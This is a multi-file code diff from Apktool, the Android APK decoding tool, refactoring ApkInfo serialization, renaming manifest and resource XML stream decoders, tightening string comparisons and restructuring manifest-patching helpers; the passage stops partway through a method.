public PackageInfo packageInfo = new PackageInfo();
public VersionInfo versionInfo = new VersionInfo();
public boolean resourcesAreCompressed;
public boolean sharedLibrary;
public boolean sparseResources;
public Map<String, String> unknownFiles = new LinkedHashMap<>();
public List<String> doNotCompress;
/** @deprecated use {@link #resourcesAreCompressed} */
public boolean compressionType;
public List<String> doNotCompress = new ArrayList<>();
public ApkInfo() {
this(null);
}
public ApkInfo(ExtFile apkFile) {
this.version = ApktoolProperties.getVersion();
version = ApktoolProperties.getVersion();
if (apkFile != null) {
setApkFile(apkFile);
}
@ -62,8 +69,19 @@ public class ApkInfo implements YamlSerializable {
public void setApkFile(ExtFile apkFile) {
mApkFile = apkFile;
if (this.apkFileName == null) {
this.apkFileName = apkFile.getName();
if (apkFileName == null) {
apkFileName = apkFile.getName();
}
}
public boolean hasSources() throws AndrolibException {
if (mApkFile == null) {
return false;
}
try {
return mApkFile.getDirectory().containsFile("classes.dex");
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
@ -89,41 +107,6 @@ public class ApkInfo implements YamlSerializable {
}
}
public boolean hasSources() throws AndrolibException {
if (mApkFile == null) {
return false;
}
try {
return mApkFile.getDirectory().containsFile("classes.dex");
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
public boolean hasMultipleSources() throws AndrolibException {
if (mApkFile == null) {
return false;
}
try {
Set<String> files = mApkFile.getDirectory().getFiles(false);
for (String file : files) {
if (file.endsWith(".dex")) {
if (!file.equalsIgnoreCase("classes.dex")) {
return true;
}
}
}
return false;
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
public void addUnknownFileInfo(String file, String value) {
unknownFiles.put(file, value);
}
public String checkTargetSdkVersionBounds() {
int target = mapSdkShorthandToVersion(getTargetSdkVersion());
@ -135,35 +118,35 @@ public class ApkInfo implements YamlSerializable {
return Integer.toString(target);
}
public Map<String, String> getSdkInfo() {
return sdkInfo;
}
public void setSdkInfo(Map<String, String> sdkInfo) {
this.sdkInfo = sdkInfo;
}
public void setSdkInfoField(String key, String value) {
sdkInfo.put(key, value);
}
public String getMinSdkVersion() {
return sdkInfo.get("minSdkVersion");
}
public void setMinSdkVersion(String minSdkVersion) {
sdkInfo.put("minSdkVersion", minSdkVersion);
}
public String getMaxSdkVersion() {
return sdkInfo.get("maxSdkVersion");
}
public void setMaxSdkVersion(String maxSdkVersion) {
sdkInfo.put("maxSdkVersion", maxSdkVersion);
}
public String getTargetSdkVersion() {
return sdkInfo.get("targetSdkVersion");
}
public void setTargetSdkVersion(String targetSdkVersion) {
sdkInfo.put("targetSdkVersion", targetSdkVersion);
}
public int getMinSdkVersionFromAndroidCodename(String sdkVersion) {
int sdkNumber = mapSdkShorthandToVersion(sdkVersion);
if (sdkNumber == ResConfigFlags.SDK_BASE) {
return Integer.parseInt(sdkInfo.get("minSdkVersion"));
return Integer.parseInt(getMinSdkVersion());
}
return sdkNumber;
}
@ -205,15 +188,15 @@ public class ApkInfo implements YamlSerializable {
public void save(File file) throws AndrolibException {
try (YamlWriter writer = new YamlWriter(new FileOutputStream(file))) {
write(writer);
} catch (FileNotFoundException e) {
} catch (FileNotFoundException ex) {
throw new AndrolibException("File not found");
} catch (Exception e) {
throw new AndrolibException(e);
} catch (Exception ex) {
throw new AndrolibException(ex);
}
}
public static ApkInfo load(InputStream is) throws AndrolibException {
YamlReader reader = new YamlReader(is);
public static ApkInfo load(InputStream in) throws AndrolibException {
YamlReader reader = new YamlReader(in);
ApkInfo apkInfo = new ApkInfo();
reader.readRoot(apkInfo);
return apkInfo;
@ -234,56 +217,47 @@ public class ApkInfo implements YamlSerializable {
YamlLine line = reader.getLine();
switch (line.getKey()) {
case "version": {
this.version = line.getValue();
version = line.getValue();
break;
}
case "apkFileName": {
this.apkFileName = line.getValue();
apkFileName = line.getValue();
break;
}
case "isFrameworkApk": {
this.isFrameworkApk = line.getValueBool();
isFrameworkApk = line.getValueBool();
break;
}
case "usesFramework": {
this.usesFramework = new UsesFramework();
usesFramework = new UsesFramework();
reader.readObject(usesFramework);
break;
}
case "sdkInfo": {
sdkInfo.clear();
reader.readMap(sdkInfo);
break;
}
case "packageInfo": {
this.packageInfo = new PackageInfo();
packageInfo = new PackageInfo();
reader.readObject(packageInfo);
break;
}
case "versionInfo": {
this.versionInfo = new VersionInfo();
versionInfo = new VersionInfo();
reader.readObject(versionInfo);
break;
}
case "compressionType":
case "resourcesAreCompressed": {
this.resourcesAreCompressed = line.getValueBool();
break;
}
case "sharedLibrary": {
this.sharedLibrary = line.getValueBool();
sharedLibrary = line.getValueBool();
break;
}
case "sparseResources": {
this.sparseResources = line.getValueBool();
break;
}
case "unknownFiles": {
this.unknownFiles = new LinkedHashMap<>();
reader.readMap(unknownFiles);
sparseResources = line.getValueBool();
break;
}
case "doNotCompress": {
this.doNotCompress = new ArrayList<>();
doNotCompress.clear();
reader.readStringList(doNotCompress);
break;
}
@ -299,12 +273,10 @@ public class ApkInfo implements YamlSerializable {
writer.writeStringMap("sdkInfo", sdkInfo);
writer.writeObject("packageInfo", packageInfo);
writer.writeObject("versionInfo", versionInfo);
writer.writeBool("resourcesAreCompressed", resourcesAreCompressed);
writer.writeBool("sharedLibrary", sharedLibrary);
writer.writeBool("sparseResources", sparseResources);
if (unknownFiles.size() > 0) {
writer.writeStringMap("unknownFiles", unknownFiles);
if (!doNotCompress.isEmpty()) {
writer.writeList("doNotCompress", doNotCompress);
}
writer.writeList("doNotCompress", doNotCompress);
}
}

View File

@ -89,9 +89,9 @@ public class YamlWriter implements Closeable {
}
writeIndent();
mWriter.println(escape(key) + ":");
for (T item: list) {
for (T item : list) {
writeIndent();
mWriter.println("- " + item);
mWriter.println("- " + item);
}
}
@ -102,7 +102,7 @@ public class YamlWriter implements Closeable {
writeIndent();
mWriter.println(escape(key) + ":");
nextIndent();
for (String mapKey: map.keySet()) {
for (String mapKey : map.keySet()) {
writeString(mapKey, map.get(mapKey));
}
prevIndent();

View File

@ -33,56 +33,47 @@ import java.nio.file.Files;
public class SmaliMod {
public static boolean assembleSmaliFile(File smaliFile, DexBuilder dexBuilder, int apiLevel, boolean verboseErrors,
boolean printTokens) throws IOException, RecognitionException {
try (
InputStream in = Files.newInputStream(smaliFile.toPath());
InputStreamReader reader = new InputStreamReader(in, StandardCharsets.UTF_8)
) {
smaliFlexLexer lexer = new smaliFlexLexer(reader, apiLevel);
lexer.setSourceFile(smaliFile);
CommonTokenStream tokens = new CommonTokenStream(lexer);
CommonTokenStream tokens;
smaliFlexLexer lexer;
if (printTokens) {
tokens.getTokens();
InputStream is = Files.newInputStream(smaliFile.toPath());
InputStreamReader reader = new InputStreamReader(is, StandardCharsets.UTF_8);
lexer = new smaliFlexLexer(reader, apiLevel);
(lexer).setSourceFile(smaliFile);
tokens = new CommonTokenStream(lexer);
if (printTokens) {
tokens.getTokens();
for (int i=0; i<tokens.size(); i++) {
Token token = tokens.get(i);
if (token.getChannel() == smaliParser.HIDDEN) {
continue;
for (int i = 0; i < tokens.size(); i++) {
Token token = tokens.get(i);
if (token.getChannel() != smaliParser.HIDDEN) {
System.out.println(smaliParser.tokenNames[token.getType()] + ": " + token.getText());
}
}
System.out.println(smaliParser.tokenNames[token.getType()] + ": " + token.getText());
}
smaliParser parser = new smaliParser(tokens);
parser.setApiLevel(apiLevel);
parser.setVerboseErrors(verboseErrors);
smaliParser.smali_file_return result = parser.smali_file();
if (parser.getNumberOfSyntaxErrors() > 0 || lexer.getNumberOfSyntaxErrors() > 0) {
return false;
}
CommonTree t = result.getTree();
CommonTreeNodeStream treeStream = new CommonTreeNodeStream(t);
treeStream.setTokenStream(tokens);
smaliTreeWalker dexGen = new smaliTreeWalker(treeStream);
dexGen.setApiLevel(apiLevel);
dexGen.setVerboseErrors(verboseErrors);
dexGen.setDexBuilder(dexBuilder);
dexGen.smali_file();
return dexGen.getNumberOfSyntaxErrors() == 0;
}
smaliParser parser = new smaliParser(tokens);
parser.setApiLevel(apiLevel);
parser.setVerboseErrors(verboseErrors);
smaliParser.smali_file_return result = parser.smali_file();
if (parser.getNumberOfSyntaxErrors() > 0 || lexer.getNumberOfSyntaxErrors() > 0) {
is.close();
reader.close();
return false;
}
CommonTree t = result.getTree();
CommonTreeNodeStream treeStream = new CommonTreeNodeStream(t);
treeStream.setTokenStream(tokens);
smaliTreeWalker dexGen = new smaliTreeWalker(treeStream);
dexGen.setApiLevel(apiLevel);
dexGen.setVerboseErrors(verboseErrors);
dexGen.setDexBuilder(dexBuilder);
dexGen.smali_file();
is.close();
reader.close();
return dexGen.getNumberOfSyntaxErrors() == 0;
}
}

View File

@ -52,7 +52,7 @@ public class Framework {
public void installFramework(File frameFile, String tag) throws AndrolibException {
InputStream in = null;
ZipOutputStream out = null;
try(ZipFile zip = new ZipFile(frameFile)) {
try (ZipFile zip = new ZipFile(frameFile)) {
ZipEntry entry = zip.getEntry("resources.arsc");
if (entry == null) {
@ -247,8 +247,8 @@ public class Framework {
}
}
}
} catch (NullPointerException e) {
throw new AndrolibException(e);
} catch (NullPointerException ex) {
throw new AndrolibException(ex);
}
}
}

View File

@ -75,7 +75,7 @@ public class ResourcesDecoder {
}
AXmlResourceParser axmlParser = new AndroidManifestResourceParser(mResTable);
XmlPullStreamDecoder fileDecoder = new XmlPullStreamDecoder(axmlParser, getResXmlSerializer());
ResStreamDecoder fileDecoder = new AndroidManifestPullStreamDecoder(axmlParser, getResXmlSerializer());
Directory inApk, out;
InputStream inputStream = null;
@ -91,7 +91,7 @@ public class ResourcesDecoder {
}
inputStream = inApk.getFileInput("AndroidManifest.xml");
outputStream = out.getFileOutput("AndroidManifest.xml");
fileDecoder.decodeManifest(inputStream, outputStream);
fileDecoder.decode(inputStream, outputStream);
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
@ -136,8 +136,8 @@ public class ResourcesDecoder {
// 2) Check if pkgRenamed is null
// 3) Check if pkgOriginal === mPackageRenamed
// 4) Check if pkgOriginal is ignored via IGNORED_PACKAGES
if (pkgOriginal == null || pkgRenamed == null || pkgOriginal.equalsIgnoreCase(pkgRenamed)
|| (Arrays.asList(IGNORED_PACKAGES).contains(pkgOriginal))) {
if (pkgOriginal == null || pkgRenamed == null || pkgOriginal.equals(pkgRenamed)
|| (Arrays.asList(IGNORED_PACKAGES).contains(pkgOriginal))) {
LOGGER.info("Regular manifest package...");
} else {
LOGGER.info("Renamed manifest package found! Replacing " + pkgRenamed + " with " + pkgOriginal);
@ -157,7 +157,7 @@ public class ResourcesDecoder {
decoders.setDecoder("9patch", new Res9patchStreamDecoder());
AXmlResourceParser axmlParser = new AXmlResourceParser(mResTable);
decoders.setDecoder("xml", new XmlPullStreamDecoder(axmlParser, getResXmlSerializer()));
decoders.setDecoder("xml", new ResXmlPullStreamDecoder(axmlParser, getResXmlSerializer()));
ResFileDecoder fileDecoder = new ResFileDecoder(decoders);
Directory in, out, outRes;
@ -220,7 +220,7 @@ public class ResourcesDecoder {
serial.endDocument();
serial.flush();
outStream.close();
} catch (IOException | DirectoryException ex) {
} catch (DirectoryException | IOException ex) {
throw new AndrolibException("Could not generate: " + valuesFile.getPath(), ex);
}
}
@ -245,7 +245,7 @@ public class ResourcesDecoder {
serial.endDocument();
serial.flush();
outStream.close();
} catch (IOException | DirectoryException ex) {
} catch (DirectoryException | IOException ex) {
throw new AndrolibException("Could not generate public.xml file", ex);
}
}

View File

@ -501,7 +501,7 @@ public class ResConfigFlags {
private String toUpper(char[] character) {
StringBuilder sb = new StringBuilder();
for (char ch: character) {
for (char ch : character) {
sb.append(Character.toUpperCase(ch));
}
return sb.toString();

View File

@ -118,7 +118,7 @@ public class ResTable {
for (int i = 0; i < pkgs.length; i++) {
ResPackage resPackage = pkgs[i];
if (resPackage.getResSpecCount() > value && ! resPackage.getName().equalsIgnoreCase("android")) {
if (resPackage.getResSpecCount() > value && ! resPackage.getName().equals("android")) {
value = resPackage.getResSpecCount();
id = resPackage.getId();
index = i;
@ -178,8 +178,8 @@ public class ResTable {
private ResPackage[] loadResPackagesFromApk(ExtFile apkFile, boolean keepBrokenResources) throws AndrolibException {
try {
Directory dir = apkFile.getDirectory();
try (BufferedInputStream bfi = new BufferedInputStream(dir.getFileInput("resources.arsc"))) {
return ARSCDecoder.decode(bfi, false, keepBrokenResources, this).getPackages();
try (BufferedInputStream bis = new BufferedInputStream(dir.getFileInput("resources.arsc"))) {
return ARSCDecoder.decode(bis, false, keepBrokenResources, this).getPackages();
}
} catch (DirectoryException | IOException ex) {
throw new AndrolibException("Could not load resources.arsc from file: " + apkFile, ex);
@ -190,7 +190,7 @@ public class ResTable {
int id = 0;
int value = 0;
for (ResPackage resPackage : mPackagesById.values()) {
if (resPackage.getResSpecCount() > value && !resPackage.getName().equalsIgnoreCase("android")) {
if (resPackage.getResSpecCount() > value && !resPackage.getName().equals("android")) {
value = resPackage.getResSpecCount();
id = resPackage.getId();
}
@ -267,11 +267,11 @@ public class ResTable {
}
public void clearSdkInfo() {
mApkInfo.getSdkInfo().clear();
mApkInfo.sdkInfo.clear();
}
public void addSdkInfo(String key, String value) {
mApkInfo.getSdkInfo().put(key, value);
mApkInfo.sdkInfo.put(key, value);
}
public void setVersionName(String versionName) {
@ -310,7 +310,7 @@ public class ResTable {
public void initApkInfo(ApkInfo apkInfo, File outDir) throws AndrolibException {
apkInfo.isFrameworkApk = isFrameworkApk();
apkInfo.usesFramework = getUsesFramework();
if (!mApkInfo.getSdkInfo().isEmpty()) {
if (!mApkInfo.sdkInfo.isEmpty()) {
updateSdkInfoFromResources(outDir);
}
initPackageInfo();
@ -331,24 +331,25 @@ public class ResTable {
}
private void updateSdkInfoFromResources(File outDir) {
String refValue;
Map<String, String> sdkInfo = mApkInfo.getSdkInfo();
if (sdkInfo.get("minSdkVersion") != null) {
refValue = ResXmlPatcher.pullValueFromIntegers(outDir, sdkInfo.get("minSdkVersion"));
String minSdkVersion = mApkInfo.getMinSdkVersion();
if (minSdkVersion != null) {
String refValue = ResXmlPatcher.pullValueFromIntegers(outDir, minSdkVersion);
if (refValue != null) {
sdkInfo.put("minSdkVersion", refValue);
mApkInfo.setMinSdkVersion(refValue);
}
}
if (sdkInfo.get("targetSdkVersion") != null) {
refValue = ResXmlPatcher.pullValueFromIntegers(outDir, sdkInfo.get("targetSdkVersion"));
String targetSdkVersion = mApkInfo.getTargetSdkVersion();
if (targetSdkVersion != null) {
String refValue = ResXmlPatcher.pullValueFromIntegers(outDir, targetSdkVersion);
if (refValue != null) {
sdkInfo.put("targetSdkVersion", refValue);
mApkInfo.setTargetSdkVersion(refValue);
}
}
if (sdkInfo.get("maxSdkVersion") != null) {
refValue = ResXmlPatcher.pullValueFromIntegers(outDir, sdkInfo.get("maxSdkVersion"));
String maxSdkVersion = mApkInfo.getMaxSdkVersion();
if (maxSdkVersion != null) {
String refValue = ResXmlPatcher.pullValueFromIntegers(outDir, maxSdkVersion);
if (refValue != null) {
sdkInfo.put("maxSdkVersion", refValue);
mApkInfo.setMaxSdkVersion(refValue);
}
}
}
@ -367,7 +368,7 @@ public class ResTable {
}
// only put rename-manifest-package into apktool.yml, if the change will be required
if (renamed != null && !renamed.equalsIgnoreCase(original)) {
if (renamed != null && !renamed.equals(original)) {
mApkInfo.packageInfo.renameManifestPackage = renamed;
}
mApkInfo.packageInfo.forcedPackageId = String.valueOf(id);

View File

@ -48,7 +48,7 @@ public final class ResTypeSpec {
}
public boolean isString() {
return mName.equalsIgnoreCase(RES_TYPE_NAME_STRING);
return mName.equals(RES_TYPE_NAME_STRING);
}
public ResResSpec getResSpec(String name) throws AndrolibException {

View File

@ -41,8 +41,8 @@ public class ResArrayValue extends ResBagValue implements ResValuesXmlSerializab
}
@Override
public void serializeToResValuesXml(XmlSerializer serializer,
ResResource res) throws IOException, AndrolibException {
public void serializeToResValuesXml(XmlSerializer serializer, ResResource res)
throws IOException, AndrolibException {
String type = getType();
type = (type == null ? "" : type + "-") + "array";
serializer.startTag(null, type);

View File

@ -73,7 +73,7 @@ public abstract class ResScalarValue extends ResIntBasedValue implements
String body = encodeAsResXmlValue();
// check for resource reference
if (!type.equalsIgnoreCase("color")) {
if (!type.equals("color")) {
if (body.contains("@")) {
if (!res.getFilePath().contains("string")) {
item = true;
@ -89,7 +89,7 @@ public abstract class ResScalarValue extends ResIntBasedValue implements
// Android does not allow values (false) for ids.xml anymore
// https://issuetracker.google.com/issues/80475496
// But it decodes as a ResBoolean, which makes no sense. So force it to empty
if (type.equalsIgnoreCase("id") && !body.isEmpty()) {
if (type.equals("id") && !body.isEmpty()) {
body = "";
}

View File

@ -79,7 +79,7 @@ public class ResValueFactory {
}
public ResBagValue bagFactory(int parent, Duo<Integer, ResScalarValue>[] items, ResTypeSpec resTypeSpec)
throws AndrolibException {
throws AndrolibException {
ResReferenceValue parentVal = newReference(parent, null);
if (items.length == 0) {

View File

@ -317,7 +317,7 @@ public class ARSCDecoder {
int entriesStartAligned = mHeader.startPosition + entriesStart;
if (mIn.position() < entriesStartAligned) {
long bytesSkipped = mIn.skip(entriesStartAligned - mIn.position());
LOGGER.fine("Skipping: " + bytesSkipped + " byte(s) to align with ResTable_entry start.");
LOGGER.fine(String.format("Skipping: %d byte(s) to align with ResTable_entry start.", bytesSkipped));
}
for (int i : entryOffsetMap.keySet()) {
@ -377,7 +377,7 @@ public class ARSCDecoder {
byte type = (byte) ((flags >> 8) & 0xFF);
value = readCompactValue(type, specNamesId);
// To keep code below happy - we know if compact that the size has the key index encoded.
// To keep code below happy - we know if compact then the size has the key index encoded.
specNamesId = size;
} else if (isComplex) {
value = readComplexEntry();
@ -469,7 +469,7 @@ public class ARSCDecoder {
}
private ResIntBasedValue readValue() throws IOException, AndrolibException {
int size = mIn.readShort();
short size = mIn.readShort();
if (size < 8) {
return null;
}

View File

@ -89,9 +89,9 @@ public class AXmlResourceParser implements XmlResourceParser {
try {
doNext();
return mEvent;
} catch (IOException e) {
} catch (IOException ex) {
close();
throw e;
throw ex;
}
}
@ -348,10 +348,10 @@ public class AXmlResourceParser implements XmlResourceParser {
String resourceMapValue;
String stringBlockValue = mStringBlock.getString(name);
int resourceId = getAttributeNameResource(index);
int attrResId = getAttributeNameResource(index);
try {
resourceMapValue = decodeFromResourceId(resourceId);
resourceMapValue = decodeFromResourceId(attrResId);
} catch (AndrolibException ignored) {
resourceMapValue = null;
}
@ -371,7 +371,7 @@ public class AXmlResourceParser implements XmlResourceParser {
}
// In this case we have a bogus resource. If it was not found in either.
return "APKTOOL_MISSING_" + Integer.toHexString(resourceId);
return "APKTOOL_MISSING_" + Integer.toHexString(attrResId);
}
@Override
@ -409,8 +409,10 @@ public class AXmlResourceParser implements XmlResourceParser {
// Ensure we only track down obfuscated values for reference/attribute type values. Otherwise, we might
// spam lookups against resource table for invalid ids.
if (valueType == TypedValue.TYPE_REFERENCE || valueType == TypedValue.TYPE_DYNAMIC_REFERENCE ||
valueType == TypedValue.TYPE_ATTRIBUTE || valueType == TypedValue.TYPE_DYNAMIC_ATTRIBUTE) {
if (valueType == TypedValue.TYPE_REFERENCE
|| valueType == TypedValue.TYPE_DYNAMIC_REFERENCE
|| valueType == TypedValue.TYPE_ATTRIBUTE
|| valueType == TypedValue.TYPE_DYNAMIC_ATTRIBUTE) {
resourceMapValue = decodeFromResourceId(valueData);
}
String value = getPreferredString(stringBlockValue, resourceMapValue);

View File

@ -30,8 +30,8 @@ import org.xmlpull.v1.wrapper.classic.StaticXmlSerializerWrapper;
import java.io.*;
public class XmlPullStreamDecoder implements ResStreamDecoder {
public XmlPullStreamDecoder(AXmlResourceParser parser,
public class AndroidManifestPullStreamDecoder implements ResStreamDecoder {
public AndroidManifestPullStreamDecoder(AXmlResourceParser parser,
ExtXmlSerializer serializer) {
this.mParser = parser;
this.mSerial = serializer;
@ -55,11 +55,11 @@ public class XmlPullStreamDecoder implements ResStreamDecoder {
int type = pp.getEventType();
if (type == XmlPullParser.START_TAG) {
if ("manifest".equalsIgnoreCase(pp.getName())) {
if ("manifest".equals(pp.getName())) {
try {
hidePackageInfo = parseManifest(pp);
} catch (AndrolibException ignored) {}
} else if ("uses-sdk".equalsIgnoreCase(pp.getName())) {
} else if ("uses-sdk".equals(pp.getName())) {
try {
hideSdkInfo = parseAttr(pp);
if (hideSdkInfo) {
@ -68,10 +68,10 @@ public class XmlPullStreamDecoder implements ResStreamDecoder {
} catch (AndrolibException ignored) {}
}
} else if (hideSdkInfo && type == XmlPullParser.END_TAG
&& "uses-sdk".equalsIgnoreCase(pp.getName())) {
&& "uses-sdk".equals(pp.getName())) {
return;
} else if (hidePackageInfo && type == XmlPullParser.END_TAG
&& "manifest".equalsIgnoreCase(pp.getName())) {
&& "manifest".equals(pp.getName())) {
super.event(pp);
return;
}
@ -86,11 +86,11 @@ public class XmlPullStreamDecoder implements ResStreamDecoder {
for (int i = 0; i < pp.getAttributeCount(); i++) {
attr_name = pp.getAttributeName(i);
if (attr_name.equalsIgnoreCase(("package"))) {
if (attr_name.equals(("package"))) {
resTable.setPackageRenamed(pp.getAttributeValue(i));
} else if (attr_name.equalsIgnoreCase("versionCode")) {
} else if (attr_name.equals("versionCode")) {
resTable.setVersionCode(pp.getAttributeValue(i));
} else if (attr_name.equalsIgnoreCase("versionName")) {
} else if (attr_name.equals("versionName")) {
resTable.setVersionName(pp.getAttributeValue(i));
}
}
@ -103,14 +103,14 @@ public class XmlPullStreamDecoder implements ResStreamDecoder {
final String a_ns = "http://schemas.android.com/apk/res/android";
String ns = pp.getAttributeNamespace(i);
if (a_ns.equalsIgnoreCase(ns)) {
if (a_ns.equals(ns)) {
String name = pp.getAttributeName(i);
String value = pp.getAttributeValue(i);
if (name != null && value != null) {
if (name.equalsIgnoreCase("minSdkVersion")
|| name.equalsIgnoreCase("targetSdkVersion")
|| name.equalsIgnoreCase("maxSdkVersion")
|| name.equalsIgnoreCase("compileSdkVersion")) {
if (name.equals("minSdkVersion")
|| name.equals("targetSdkVersion")
|| name.equals("maxSdkVersion")
|| name.equals("compileSdkVersion")) {
resTable.addSdkInfo(name, value);
} else {
resTable.clearSdkInfo();
@ -144,11 +144,6 @@ public class XmlPullStreamDecoder implements ResStreamDecoder {
}
}
public void decodeManifest(InputStream in, OutputStream out)
throws AndrolibException {
decode(in, out);
}
private final AXmlResourceParser mParser;
private final ExtXmlSerializer mSerial;
}

View File

@ -58,9 +58,9 @@ public class AndroidManifestResourceParser extends AXmlResourceParser {
}
private boolean isNumericStringMetadataAttributeValue(int index, String value) {
return "meta-data".equalsIgnoreCase(super.getName())
&& "value".equalsIgnoreCase(super.getAttributeName(index))
&& super.getAttributeValueType(index) == TypedValue.TYPE_STRING
&& PATTERN_NUMERIC_STRING.matcher(value).matches();
return "meta-data".equals(super.getName())
&& "value".equals(super.getAttributeName(index))
&& super.getAttributeValueType(index) == TypedValue.TYPE_STRING
&& PATTERN_NUMERIC_STRING.matcher(value).matches();
}
}

View File

@ -20,6 +20,5 @@ import brut.androlib.exceptions.AndrolibException;
import java.io.*;
public interface ResStreamDecoder {
void decode(InputStream in, OutputStream out)
throws AndrolibException;
void decode(InputStream in, OutputStream out) throws AndrolibException;
}

View File

@ -0,0 +1,63 @@
/*
* Copyright (C) 2010 Ryszard Wiśniewski <brut.alll@gmail.com>
* Copyright (C) 2010 Connor Tumbleson <connor.tumbleson@gmail.com>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package brut.androlib.res.decoder;
import brut.androlib.exceptions.AndrolibException;
import brut.androlib.exceptions.AXmlDecodingException;
import brut.androlib.exceptions.RawXmlEncounteredException;
import brut.androlib.res.util.ExtXmlSerializer;
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
import org.xmlpull.v1.wrapper.XmlPullParserWrapper;
import org.xmlpull.v1.wrapper.XmlPullWrapperFactory;
import org.xmlpull.v1.wrapper.XmlSerializerWrapper;
import org.xmlpull.v1.wrapper.classic.StaticXmlSerializerWrapper;
import java.io.*;
public class ResXmlPullStreamDecoder implements ResStreamDecoder {
public ResXmlPullStreamDecoder(AXmlResourceParser parser,
ExtXmlSerializer serializer) {
this.mParser = parser;
this.mSerial = serializer;
}
@Override
public void decode(InputStream in, OutputStream out)
throws AndrolibException {
try {
XmlPullWrapperFactory factory = XmlPullWrapperFactory.newInstance();
XmlPullParserWrapper par = factory.newPullParserWrapper(mParser);
XmlSerializerWrapper ser = new StaticXmlSerializerWrapper(mSerial, factory);
par.setInput(in, null);
ser.setOutput(out, null);
while (par.nextToken() != XmlPullParser.END_DOCUMENT) {
ser.event(par);
}
ser.flush();
} catch (XmlPullParserException ex) {
throw new AXmlDecodingException("Could not decode XML", ex);
} catch (IOException ex) {
throw new RawXmlEncounteredException("Could not decode XML", ex);
}
}
private final AXmlResourceParser mParser;
private final ExtXmlSerializer mSerial;
}

View File

@ -25,7 +25,6 @@ import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.charset.*;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.logging.Logger;
@ -139,7 +138,7 @@ public class StringBlock {
for (int i = 0; i < style.length; i += 3) {
spans.add(new StyledString.Span(getString(style[i]), style[i + 1], style[i + 2]));
}
Collections.sort(spans);
spans.sort(null);
StyledString styledString = new StyledString(text, spans);
return styledString.toString();
@ -240,7 +239,7 @@ public class StringBlock {
// in some places, Android uses 3-byte UTF-8 sequences instead of 4-bytes.
// If decoding failed, we try to use CESU-8 decoder, which is closer to what Android actually uses.
return CESU8_DECODER.decode(wrappedBufferRetry).toString();
} catch (CharacterCodingException e) {
} catch (CharacterCodingException ex) {
LOGGER.warning("Failed to decode a string with CESU-8 decoder.");
return null;
}

View File

@ -41,24 +41,25 @@ public final class ResXmlPatcher {
* @throws AndrolibException Error reading Manifest file
*/
public static void removeApplicationDebugTag(File file) throws AndrolibException {
if (file.exists()) {
try {
Document doc = loadDocument(file);
Node application = doc.getElementsByTagName("application").item(0);
if (!file.exists()) {
return;
}
try {
Document doc = loadDocument(file);
Node application = doc.getElementsByTagName("application").item(0);
// load attr
NamedNodeMap attr = application.getAttributes();
Node debugAttr = attr.getNamedItem("android:debuggable");
// load attr
NamedNodeMap attr = application.getAttributes();
Node debugAttr = attr.getNamedItem("android:debuggable");
// remove application:debuggable
if (debugAttr != null) {
attr.removeNamedItem("android:debuggable");
}
saveDocument(file, doc);
} catch (SAXException | ParserConfigurationException | IOException | TransformerException ignored) {
// remove application:debuggable
if (debugAttr != null) {
attr.removeNamedItem("android:debuggable");
}
saveDocument(file, doc);
} catch (SAXException | ParserConfigurationException | IOException | TransformerException ignored) {
}
}
@ -68,27 +69,28 @@ public final class ResXmlPatcher {
* @param file AndroidManifest file
*/
public static void setApplicationDebugTagTrue(File file) {
if (file.exists()) {
try {
Document doc = loadDocument(file);
Node application = doc.getElementsByTagName("application").item(0);
if (!file.exists()) {
return;
}
try {
Document doc = loadDocument(file);
Node application = doc.getElementsByTagName("application").item(0);
// load attr
NamedNodeMap attr = application.getAttributes();
Node debugAttr = attr.getNamedItem("android:debuggable");
// load attr
NamedNodeMap attr = application.getAttributes();
Node debugAttr = attr.getNamedItem("android:debuggable");
if (debugAttr == null) {
debugAttr = doc.createAttribute("android:debuggable");
attr.setNamedItem(debugAttr);
}
// set application:debuggable to 'true
debugAttr.setNodeValue("true");
saveDocument(file, doc);
} catch (SAXException | ParserConfigurationException | IOException | TransformerException ignored) {
if (debugAttr == null) {
debugAttr = doc.createAttribute("android:debuggable");
attr.setNamedItem(debugAttr);
}
// set application:debuggable to 'true
debugAttr.setNodeValue("true");
saveDocument(file, doc);
} catch (SAXException | ParserConfigurationException | IOException | TransformerException ignored) {
}
}
@ -98,28 +100,29 @@ public final class ResXmlPatcher {
* @param file AndroidManifest file
*/
public static void setNetworkSecurityConfig(File file) {
if (file.exists()) {
try {
Document doc = loadDocument(file);
Node application = doc.getElementsByTagName("application").item(0);
if (!file.exists()) {
return;
}
try {
Document doc = loadDocument(file);
Node application = doc.getElementsByTagName("application").item(0);
// load attr
NamedNodeMap attr = application.getAttributes();
Node netSecConfAttr = attr.getNamedItem("android:networkSecurityConfig");
// load attr
NamedNodeMap attr = application.getAttributes();
Node netSecConfAttr = attr.getNamedItem("android:networkSecurityConfig");
if (netSecConfAttr == null) {
// there is not an already existing network security configuration
netSecConfAttr = doc.createAttribute("android:networkSecurityConfig");
attr.setNamedItem(netSecConfAttr);
}
// whether it already existed or it was created now set it to the proper value
netSecConfAttr.setNodeValue("@xml/network_security_config");
saveDocument(file, doc);
} catch (SAXException | ParserConfigurationException | IOException | TransformerException ignored) {
if (netSecConfAttr == null) {
// there is not an already existing network security configuration
netSecConfAttr = doc.createAttribute("android:networkSecurityConfig");
attr.setNamedItem(netSecConfAttr);
}
// whether it already existed or it was created now set it to the proper value
netSecConfAttr.setNodeValue("@xml/network_security_config");
saveDocument(file, doc);
} catch (SAXException | ParserConfigurationException | IOException | TransformerException ignored) {
}
}
@ -173,50 +176,52 @@ public final class ResXmlPatcher {
* @param file File for AndroidManifest.xml
*/
public static void fixingPublicAttrsInProviderAttributes(File file) {
boolean saved = false;
if (file.exists()) {
try {
Document doc = loadDocument(file);
XPath xPath = XPathFactory.newInstance().newXPath();
XPathExpression expression = xPath.compile("/manifest/application/provider");
if (!file.exists()) {
return;
}
try {
Document doc = loadDocument(file);
XPath xPath = XPathFactory.newInstance().newXPath();
